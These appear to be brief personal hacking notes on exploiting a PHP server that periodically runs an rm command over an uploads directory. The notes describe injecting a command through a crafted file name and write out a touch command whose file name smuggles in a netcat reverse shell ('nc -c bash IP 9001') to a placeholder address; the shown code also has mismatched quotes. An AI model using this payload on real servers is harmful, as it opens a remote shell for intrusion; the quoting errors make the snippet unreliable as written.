php

if the code was executing a certain file every few mins,

$path= '/var/www/html/uploads/'

nohup /bin/rm -f $path/path/something.txt'

we could insert malicious command with

nohup /bin/rm -f /path;malicious command

create a file in the certain directory

touch -- ';nc -c bash IP 9001;.php'